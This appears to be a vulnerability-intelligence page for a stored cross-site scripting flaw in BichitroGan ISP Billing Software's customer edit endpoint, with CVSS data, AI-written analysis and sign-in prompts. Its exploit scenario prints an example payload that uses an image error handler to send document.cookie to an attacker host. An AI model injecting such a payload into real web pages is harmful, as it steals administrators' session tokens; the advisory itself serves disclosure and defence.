EUVD-2026-23813
GHSA-x42f-vq92-fh92
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
9DescriptionCVE.org
A vulnerability was identified in BichitroGan ISP Billing Software 2025.3.20. This affects an unknown function of the file /?\_route=customers/edit/ of the component Customer Handler. Such manipulation leads to cross site scripting. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
Stored cross-site scripting (XSS) in BichitroGan ISP Billing Software 2025.3.20 allows authenticated remote attackers with high privileges to inject malicious scripts via the Customer Handler edit endpoint (/?_route=customers/edit/), affecting other users who view manipulated customer records. Exploitation requires user interaction (victim viewing the crafted page), but publicly available exploit code exists and the vendor has not responded to disclosure attempts.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the following specific, concrete conditions: (1) Attacker must possess valid admin credentials with high privilege level (PR:H confirmed by CVSS) to access the Customer Handler edit interface at /?_route=customers/edit/, (2) the BichitroGan ISP Billing Software must be deployed with the Customer Handler component enabled and exposed over HTTP/HTTPS, (3) a second user (victim) must view the crafted customer record containing the XSS payload - this constitutes the required user interaction (UI:R), (4) the victim's browser must execute JavaScript (no security controls like CSP or XSS filters preventing script execution). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Despite the low CVSS score of 2.4, this vulnerability presents moderate real-world risk within affected organizations. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with legitimate admin credentials (or obtained through phishing) navigates to the customer edit page and injects a malicious JavaScript payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?session='+document.cookie)">) into a customer record field. When another admin views that customer's record to process billing or support requests, the script executes in their browser context, exfiltrating their session token. … |
| Remediation | No vendor-released patch identified at time of analysis, consistent with the vendor's non-response to disclosure. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today